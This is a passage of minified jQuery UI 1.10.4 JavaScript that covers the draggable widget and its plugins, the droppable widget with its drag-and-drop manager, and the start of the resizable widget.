e("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)}),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(t){return this.options.handle?!!e(t.target).closest(this.element.find(this.options.handle)).length:!0},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper)?e(i.helper.apply(this.element[0],[t])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return s.parents("body").length||s.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s[0]===this.element[0]||/(fixed|absolute)/.test(s.css("position"))||s.css("position","absolute"),s},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===document.body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var e=this.element.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,a=this.options;return a.containment?"window"===a.containment?(this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],undefined):"document"===a.containment?(this.containment=[0,0,e(document).width()-this.helperProportions.width-this.margins.left,(e(document).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],undefined):a.containment.constructor===Array?(this.containment=a.containment,undefined):("parent"===a.containment&&(a.containment=this.helper[0].parentNode),i=e(a.containment),s=i[0],s&&(t="hidden"!==i.css("overflow"),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(t?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relative_container=i),undefined):(this.containment=null,undefined)},_convertPositionTo:function(t,i){i||(i=this.position);var s="absolute"===t?1:-1,a="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent;return this.offset.scroll||(this.offset.scroll={top:a.scrollTop(),left:a.scrollLeft()}),{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():this.offset.scroll.top)*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():this.offset.scroll.left)*s}},_generatePosition:function(t){var i,s,a,n,r=this.options,o="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=t.pageX,l=t.pageY;return this.offset.scroll||(this.offset.scroll={top:o.scrollTop(),left:o.scrollLeft()}),this.originalPosition&&(this.containment&&(this.relative_container?(s=this.relative_container.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,t.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),r.grid&&(a=r.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/r.grid[1])*r.grid[1]:this.originalPageY,l=i?a-this.offset.click.top>=i[1]||a-this.offset.click.top>i[3]?a:a-this.offset.click.top>=i[1]?a-r.grid[1]:a+r.grid[1]:a,n=r.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/r.grid[0])*r.grid[0]:this.originalPageX,h=i?n-this.offset.click.left>=i[0]||n-this.offset.click.left>i[2]?n:n-this.offset.click.left>=i[0]?n-r.grid[0]:n+r.grid[0]:n)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1},_trigger:function(t,i,s){return s=s||this._uiHash(),e.ui.plugin.call(this,t,[i,s]),"drag"===t&&(this.positionAbs=this._convertPositionTo("absolute")),e.Widget.prototype._trigger.call(this,t,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,i){var s=e(this).data("ui-draggable"),a=s.options,n=e.extend({},i,{item:s.element});s.sortables=[],e(a.connectToSortable).each(function(){var i=e.data(this,"ui-sortable");i&&!i.options.disabled&&(s.sortables.push({instance:i,shouldRevert:i.options.revert}),i.refreshPositions(),i._trigger("activate",t,n))})},stop:function(t,i){var s=e(this).data("ui-draggable"),a=e.extend({},i,{item:s.element});e.each(s.sortables,function(){this.instance.isOver?(this.instance.isOver=0,s.cancelHelperRemoval=!0,this.instance.cancelHelperRemoval=!1,this.shouldRevert&&(this.instance.options.revert=this.shouldRevert),this.instance._mouseStop(t),this.instance.options.helper=this.instance.options._helper,"original"===s.options.helper&&this.instance.currentItem.css({top:"auto",left:"auto"})):(this.instance.cancelHelperRemoval=!1,this.instance._trigger("deactivate",t,a))})},drag:function(t,i){var s=e(this).data("ui-draggable"),a=this;e.each(s.sortables,function(){var n=!1,r=this;this.instance.positionAbs=s.positionAbs,this.instance.helperProportions=s.helperProportions,this.instance.offset.click=s.offset.click,this.instance._intersectsWith(this.instance.containerCache)&&(n=!0,e.each(s.sortables,function(){return this.instance.positionAbs=s.positionAbs,this.instance.helperProportions=s.helperProportions,this.instance.offset.click=s.offset.click,this!==r&&this.instance._intersectsWith(this.instance.containerCache)&&e.contains(r.instance.element[0],this.instance.element[0])&&(n=!1),n})),n?(this.instance.isOver||(this.instance.isOver=1,this.instance.currentItem=e(a).clone().removeAttr("id").appendTo(this.instance.element).data("ui-sortable-item",!0),this.instance.options._helper=this.instance.options.helper,this.instance.options.helper=function(){return i.helper[0]},t.target=this.instance.currentItem[0],this.instance._mouseCapture(t,!0),this.instance._mouseStart(t,!0,!0),this.instance.offset.click.top=s.offset.click.top,this.instance.offset.click.left=s.offset.click.left,this.instance.offset.parent.left-=s.offset.parent.left-this.instance.offset.parent.left,this.instance.offset.parent.top-=s.offset.parent.top-this.instance.offset.parent.top,s._trigger("toSortable",t),s.dropped=this.instance.element,s.currentItem=s.element,this.instance.fromOutside=s),this.instance.currentItem&&this.instance._mouseDrag(t)):this.instance.isOver&&(this.instance.isOver=0,this.instance.cancelHelperRemoval=!0,this.instance.options.revert=!1,this.instance._trigger("out",t,this.instance._uiHash(this.instance)),this.instance._mouseStop(t,!0),this.instance.options.helper=this.instance.options._helper,this.instance.currentItem.remove(),this.instance.placeholder&&this.instance.placeholder.remove(),s._trigger("fromSortable",t),s.dropped=!1)})}}),e.ui.plugin.add("draggable","cursor",{start:function(){var t=e("body"),i=e(this).data("ui-draggable").options;t.css("cursor")&&(i._cursor=t.css("cursor")),t.css("cursor",i.cursor)},stop:function(){var t=e(this).data("ui-draggable").options;t._cursor&&e("body").css("cursor",t._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,i){var s=e(i.helper),a=e(this).data("ui-draggable").options;s.css("opacity")&&(a._opacity=s.css("opacity")),s.css("opacity",a.opacity)},stop:function(t,i){var s=e(this).data("ui-draggable").options;s._opacity&&e(i.helper).css("opacity",s._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(){var t=e(this).data("ui-draggable");t.scrollParent[0]!==document&&"HTML"!==t.scrollParent[0].tagName&&(t.overflowOffset=t.scrollParent.offset())},drag:function(t){var i=e(this).data("ui-draggable"),s=i.options,a=!1;i.scrollParent[0]!==document&&"HTML"!==i.scrollParent[0].tagName?(s.axis&&"x"===s.axis||(i.overflowOffset.top+i.scrollParent[0].offsetHeight-t.pageY<s.scrollSensitivity?i.scrollParent[0].scrollTop=a=i.scrollParent[0].scrollTop+s.scrollSpeed:t.pageY-i.overflowOffset.top<s.scrollSensitivity&&(i.scrollParent[0].scrollTop=a=i.scrollParent[0].scrollTop-s.scrollSpeed)),s.axis&&"y"===s.axis||(i.overflowOffset.left+i.scrollParent[0].offsetWidth-t.pageX<s.scrollSensitivity?i.scrollParent[0].scrollLeft=a=i.scrollParent[0].scrollLeft+s.scrollSpeed:t.pageX-i.overflowOffset.left<s.scrollSensitivity&&(i.scrollParent[0].scrollLeft=a=i.scrollParent[0].scrollLeft-s.scrollSpeed))):(s.axis&&"x"===s.axis||(t.pageY-e(document).scrollTop()<s.scrollSensitivity?a=e(document).scrollTop(e(document).scrollTop()-s.scrollSpeed):e(window).height()-(t.pageY-e(document).scrollTop())<s.scrollSensitivity&&(a=e(document).scrollTop(e(document).scrollTop()+s.scrollSpeed))),s.axis&&"y"===s.axis||(t.pageX-e(document).scrollLeft()<s.scrollSensitivity?a=e(document).scrollLeft(e(document).scrollLeft()-s.scrollSpeed):e(window).width()-(t.pageX-e(document).scrollLeft())<s.scrollSensitivity&&(a=e(document).scrollLeft(e(document).scrollLeft()+s.scrollSpeed)))),a!==!1&&e.ui.ddmanager&&!s.dropBehaviour&&e.ui.ddmanager.prepareOffsets(i,t)}}),e.ui.plugin.add("draggable","snap",{start:function(){var t=e(this).data("ui-draggable"),i=t.options;t.snapElements=[],e(i.snap.constructor!==String?i.snap.items||":data(ui-draggable)":i.snap).each(function(){var i=e(this),s=i.offset();this!==t.element[0]&&t.snapElements.push({item:this,width:i.outerWidth(),height:i.outerHeight(),top:s.top,left:s.left})})},drag:function(t,i){var s,a,n,r,o,h,l,u,d,c,p=e(this).data("ui-draggable"),f=p.options,m=f.snapTolerance,g=i.offset.left,v=g+p.helperProportions.width,y=i.offset.top,_=y+p.helperProportions.height;for(d=p.snapElements.length-1;d>=0;d--)o=p.snapElements[d].left,h=o+p.snapElements[d].width,l=p.snapElements[d].top,u=l+p.snapElements[d].height,o-m>v||g>h+m||l-m>_||y>u+m||!e.contains(p.snapElements[d].item.ownerDocument,p.snapElements[d].item)?(p.snapElements[d].snapping&&p.options.snap.release&&p.options.snap.release.call(p.element,t,e.extend(p._uiHash(),{snapItem:p.snapElements[d].item})),p.snapElements[d].snapping=!1):("inner"!==f.snapMode&&(s=m>=Math.abs(l-_),a=m>=Math.abs(u-y),n=m>=Math.abs(o-v),r=m>=Math.abs(h-g),s&&(i.position.top=p._convertPositionTo("relative",{top:l-p.helperProportions.height,left:0}).top-p.margins.top),a&&(i.position.top=p._convertPositionTo("relative",{top:u,left:0}).top-p.margins.top),n&&(i.position.left=p._convertPositionTo("relative",{top:0,left:o-p.helperProportions.width}).left-p.margins.left),r&&(i.position.left=p._convertPositionTo("relative",{top:0,left:h}).left-p.margins.left)),c=s||a||n||r,"outer"!==f.snapMode&&(s=m>=Math.abs(l-y),a=m>=Math.abs(u-_),n=m>=Math.abs(o-g),r=m>=Math.abs(h-v),s&&(i.position.top=p._convertPositionTo("relative",{top:l,left:0}).top-p.margins.top),a&&(i.position.top=p._convertPositionTo("relative",{top:u-p.helperProportions.height,left:0}).top-p.margins.top),n&&(i.position.left=p._convertPositionTo("relative",{top:0,left:o}).left-p.margins.left),r&&(i.position.left=p._convertPositionTo("relative",{top:0,left:h-p.helperProportions.width}).left-p.margins.left)),!p.snapElements[d].snapping&&(s||a||n||r||c)&&p.options.snap.snap&&p.options.snap.snap.call(p.element,t,e.extend(p._uiHash(),{snapItem:p.snapElements[d].item})),p.snapElements[d].snapping=s||a||n||r||c)}}),e.ui.plugin.add("draggable","stack",{start:function(){var t,i=this.data("ui-draggable").options,s=e.makeArray(e(i.stack)).sort(function(t,i){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(i).css("zIndex"),10)||0)});s.length&&(t=parseInt(e(s[0]).css("zIndex"),10)||0,e(s).each(function(i){e(this).css("zIndex",t+i)}),this.css("zIndex",t+s.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,i){var s=e(i.helper),a=e(this).data("ui-draggable").options;s.css("zIndex")&&(a._zIndex=s.css("zIndex")),s.css("zIndex",a.zIndex)},stop:function(t,i){var s=e(this).data("ui-draggable").options;s._zIndex&&e(i.helper).css("zIndex",s._zIndex)}})})(jQuery);(function(e){function t(e,t,i){return e>t&&t+i>e}e.widget("ui.droppable",{version:"1.10.4",widgetEventPrefix:"drop",options:{accept:"*",activeClass:!1,addClasses:!0,greedy:!1,hoverClass:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,i=this.options,s=i.accept;this.isover=!1,this.isout=!0,this.accept=e.isFunction(s)?s:function(e){return e.is(s)},this.proportions=function(){return arguments.length?(t=arguments[0],undefined):t?t:t={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}},e.ui.ddmanager.droppables[i.scope]=e.ui.ddmanager.droppables[i.scope]||[],e.ui.ddmanager.droppables[i.scope].push(this),i.addClasses&&this.element.addClass("ui-droppable")},_destroy:function(){for(var t=0,i=e.ui.ddmanager.droppables[this.options.scope];i.length>t;t++)i[t]===this&&i.splice(t,1);this.element.removeClass("ui-droppable ui-droppable-disabled")},_setOption:function(t,i){"accept"===t&&(this.accept=e.isFunction(i)?i:function(e){return e.is(i)}),e.Widget.prototype._setOption.apply(this,arguments)},_activate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.addClass(this.options.activeClass),i&&this._trigger("activate",t,this.ui(i))},_deactivate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.removeClass(this.options.activeClass),i&&this._trigger("deactivate",t,this.ui(i))},_over:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.addClass(this.options.hoverClass),this._trigger("over",t,this.ui(i)))},_out:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("out",t,this.ui(i)))},_drop:function(t,i){var s=i||e.ui.ddmanager.current,a=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var t=e.data(this,"ui-droppable");return t.options.greedy&&!t.options.disabled&&t.options.scope===s.options.scope&&t.accept.call(t.element[0],s.currentItem||s.element)&&e.ui.intersect(s,e.extend(t,{offset:t.element.offset()}),t.options.tolerance)?(a=!0,!1):undefined}),a?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this.options.activeClass&&this.element.removeClass(this.options.activeClass),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("drop",t,this.ui(s)),this.element):!1):!1},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}}}),e.ui.intersect=function(e,i,s){if(!i.offset)return!1;var a,n,r=(e.positionAbs||e.position.absolute).left,o=(e.positionAbs||e.position.absolute).top,l=r+e.helperProportions.width,h=o+e.helperProportions.height,u=i.offset.left,d=i.offset.top,c=u+i.proportions().width,p=d+i.proportions().height;switch(s){case"fit":return r>=u&&c>=l&&o>=d&&p>=h;case"intersect":return r+e.helperProportions.width/2>u&&c>l-e.helperProportions.width/2&&o+e.helperProportions.height/2>d&&p>h-e.helperProportions.height/2;case"pointer":return a=(e.positionAbs||e.position.absolute).left+(e.clickOffset||e.offset.click).left,n=(e.positionAbs||e.position.absolute).top+(e.clickOffset||e.offset.click).top,t(n,d,i.proportions().height)&&t(a,u,i.proportions().width);case"touch":return(o>=d&&p>=o||h>=d&&p>=h||d>o&&h>p)&&(r>=u&&c>=r||l>=u&&c>=l||u>r&&l>c);default:return!1}},e.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(t,i){var s,a,n=e.ui.ddmanager.droppables[t.options.scope]||[],r=i?i.type:null,o=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();e:for(s=0;n.length>s;s++)if(!(n[s].options.disabled||t&&!n[s].accept.call(n[s].element[0],t.currentItem||t.element))){for(a=0;o.length>a;a++)if(o[a]===n[s].element[0]){n[s].proportions().height=0;continue e}n[s].visible="none"!==n[s].element.css("display"),n[s].visible&&("mousedown"===r&&n[s]._activate.call(n[s],i),n[s].offset=n[s].element.offset(),n[s].proportions({width:n[s].element[0].offsetWidth,height:n[s].element[0].offsetHeight}))}},drop:function(t,i){var s=!1;return e.each((e.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&e.ui.intersect(t,this,this.options.tolerance)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(t,i){t.element.parentsUntil("body").bind("scroll.droppable",function(){t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)})},drag:function(t,i){t.options.refreshPositions&&e.ui.ddmanager.prepareOffsets(t,i),e.each(e.ui.ddmanager.droppables[t.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,a,n,r=e.ui.intersect(t,this,this.options.tolerance),o=!r&&this.isover?"isout":r&&!this.isover?"isover":null;o&&(this.options.greedy&&(a=this.options.scope,n=this.element.parents(":data(ui-droppable)").filter(function(){return e.data(this,"ui-droppable").options.scope===a}),n.length&&(s=e.data(n[0],"ui-droppable"),s.greedyChild="isover"===o)),s&&"isover"===o&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[o]=!0,this["isout"===o?"isover":"isout"]=!1,this["isover"===o?"_over":"_out"].call(this,i),s&&"isout"===o&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(t,i){t.element.parentsUntil("body").unbind("scroll.droppable"),t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)}}})(jQuery);(function(e){function t(e){return parseInt(e,10)||0}function i(e){return!isNaN(parseInt(e,10))}e.widget("ui.resizable",e.ui.mouse,{version:"1.10.4",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_create:function(){var t,i,s,n,a,o=this,r=this.options;if(this.element.addClass("ui-resizable"),e.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)&&(this.element.wrap(e("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.data("ui-resizable")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=r.handles||(e(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),t=this.handles.split(","),this.handles={},i=0;t.length>i;i++)s=e.trim(t[i]),a="ui-resizable-"+s,n=e("<div class='ui-resizable-handle "+a+"'></div>"),n.css({zIndex:r.zIndex}),"se"===s&&n.addClass("ui-icon ui-icon-gripsmall-diagonal-se"),this.handles[s]=".ui-resizable-"+s,this.element.append(n);this._renderAxis=function(t){var i,s,n,a;t=t||this.element;for(i in this.handles)this.handles[i].constructor===String&&(this.handles[i]=e(this.handles[i],this.element).show()),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)&&(s=e(this.handles[i],this.element),a=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(n,a),this._proportionallyResize()),e(this.handles[i]).length},this._renderAxis(this.element),this._handles=e(".ui-resizable-handle",this.element).disableSelection(),this._handles.mouseover(function(){o.resizing||(this.className&&(n=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=n&&n[1]?n[1]:"se")}),r.autoHide&&(this._handles.hide(),e(this.element).addClass("ui-resizable-autohide").mouseenter(function(){r.disabled||(e(this).removeClass("ui-resizable-autohide"),o._handles.show())}).mouseleave(function(){r.disabled||o.resizing||(e(this).addClass("ui-resizable-autohide"),o._handles.hide())})),this._mouseInit()},_destroy:function(){this._mouseDestroy();var t,i=function(t){e(t).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").removeData("ui-resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),t=this.element,this.originalElement.css({position:t.css("position"),width:t.outerWidth(),height:t.outerHeight(),top:t.css("top"),left:t.css("left")}).insertAfter(t),t.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_mouseCapture:function(t){var i,s,n=!1;for(i in this.handles)s=e(this.handles[i])[0],(s===t.target||e.contains(s,t.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(i){var s,n,a,o=this.options,r=this.element.position(),h=this.element;return this.resizing=!0,/absolute/.test(h.css("position"))?h.css({position:"absolute",top:h.css("top"),left:h.css("left")}):h.is(".ui-draggable")&&h.css({position:"absolute",top:r.top,left:r.left}),this._renderProxy(),s=t(this.helper.css("left")),n=t(this.helper.css("top")),o.containment&&(s+=e(o.containment).scrollLeft()||0,n+=e(o.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:s,top:n},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:h.width(),height:h.height()},this.originalSize=this._helper?{width:h.outerWidth(),height:h.outerHeight()}:{width:h.width(),height:h.height()},this.originalPosition={left:s,top:n},this.sizeDiff={width:h.outerWidth()-h.width(),height:h.outerHeight()-h.height()},this.originalMousePosition={left:i.pageX,top:i.pageY},this.aspectRatio="number"==typeof o.aspectRatio?o.aspectRatio:this.originalSize.width/this.originalSize.height||1,a=e(".ui-resizable-"+this.axis).css("cursor"),e("body").css("cursor","auto"===a?this.axis+"-resize":a),h.addClass("ui-resizable-resizing"),this._propagate("start",i),!0},_mouseDrag:function(t){var i,s=this.helper,n={},a=this.originalMousePosition,o=this.axis,r=this.position.top,h=this.position.left,l=this.size.width,u=this.size.height,d=t.pageX-a.left||0,c=t.pageY-a.top||0,p=this._change[o];return p?(i=p.apply(this,[t,d,c]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(i=this._updateRatio(i,t)),i=this._respectSize(i,t),this._updateCache(i),this._propagate("resize",t),this.position.top!==r&&(n.top=this.position.top+"px"),this.position.left!==h&&(n.left=this.position.left+"px"),this.size.width!==l&&(n.width=this.size.width+"px"),this.size.height!==u&&(n.height=this.size.height+"px"),s.css(n),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),e.isEmptyObject(n)||this._trigger("resize",t,this.ui()),!1):!1},_mouseStop:function(t){this.resizing=!1;var i,s,n,a,o,r,h,l=this.options,u=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&e.ui.hasScroll(i[0],"left")?0:u.sizeDiff.height,a=s?0:u.sizeDiff.width,o={width:u.helper.width()-a,height:u.helper.height()-n},r=parseInt(u.element.css("left"),10)+(u.position.left-u.originalPosition.left)||null,h=parseInt(u.element.css("top"),10)+(u.position.top-u.originalPosition.top)||null,l.animate||this.element.css(e.extend(o,{top:h,left:r})),u.helper.height(u.size.height),u.helper.width(u.size.width),this._helper&&!l.animate&&this._proportionallyResize()),e("body").css("cursor","auto"),this.element.removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updateVirtualBoundaries:function(e){var t,s,n,a,o,r=this.options;o={minWidth:i(r.minWidth)?r.minWidth:0,maxWidth:i(r.maxWidth)?r.maxWidth:1/0,minHeight:i(r.minHeight)?r.minHeight:0,maxHeight:i(r.maxHeight)?r.maxHeight:1/0},(this._aspectRatio||e)&&(t=o.minHeight*this.aspectRatio,n=o.minWidth/this.aspectRatio,s=o.maxHeight*this.aspectRatio,a=o.maxWidth/this.aspectRatio,t>o.minWidth&&(o.minWidth=t),n>o.minHeight&&(o.minHeight=n),o.maxWidth>s&&(o.maxWidth=s),o.maxHeight>a&&(o.maxHeight=a)),this._vBoundaries=o},_updateCache:function(e){this.offset=this.helper.offset(),i(e.left)&&(this.position.left=e.left),i(e.top)&&(this.position.top=e.top),i(e.height)&&(this.size.height=e.height),i(e.width)&&(this.size.width=e.width)},_updateRatio:function(e){var t=this.position,s=this.size,n=this.axis;return i(e.height)?e.width=e.height*this.aspectRatio:i(e.width)&&(e.height=e.width/this.aspectRatio),"sw"===n&&(e.left=t.left+(s.width-e.width),e.top=null),"nw"===n&&(e.top=t.top+(s.height-e.height),e.left=t.left+(s.width-e.width)),e},_respectSize:function(e){var t=this._vBoundaries,s=this.axis,n=i(e.width)&&t.maxWidth&&t.maxWidth<e.width,a=i(e.height)&&t.maxHeight&&t.maxHeight<e.height,o=i(e.width)&&t.minWidth&&t.minWidth>e.width,r=i(e.height)&&t.minHeight&&t.minHeight>e.height,h=this.originalPosition.left+this.originalSize.width,l=this.position.top+this.size.height,u=/sw|nw|w/.test(s),d=/nw|ne|n/.test(s);return o&&(e.width=t.minWidth),r&&(e.height=t.minHeight),n&&(e.width=t.maxWidth),a&&(e.height=t.maxHeight),o&&u&&(e.left=h-t.minWidth),n&&u&&(e.left=h-t.maxWidth),r&&d&&(e.top=l-t.minHeight),a&&d&&(e.top=l-t.maxHeight),e.width||e.height||e.left||!e.top?e.width||e.height||e.top||!e.left||(e.left=null):e.top=null,e},_proportionallyResize:function(){if(this._proportionallyResizeElements.length){var e,t,i,s,n,a=this.helper||this.element;for(e=0;this._proportionallyResizeElements.length>e;e++){if(n=this._proportionallyResizeElements[e],!this.borderDif)for(this.borderDif=[],i=[n.css("borderTopWidth"),n.css("borderRightWidth"),n.css("borderBottomWidth"),n.css("borderLeftWidth")],s=[n.css("paddingTop"),n.css("paddingRight"),n.css("paddingBottom"),n.css("paddingLeft")],t=0;i.length>t;t++)this.borderDif[t]=(parseInt(i[t],10)||0)+(parseInt(s[t],10)||0);n.css({height:a.height()-this.borderDif[0]-this.borderDif[2]||0,width:a.width()-this.borderDif[1]-this.borderDif[3]||0})}}},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||e("<div 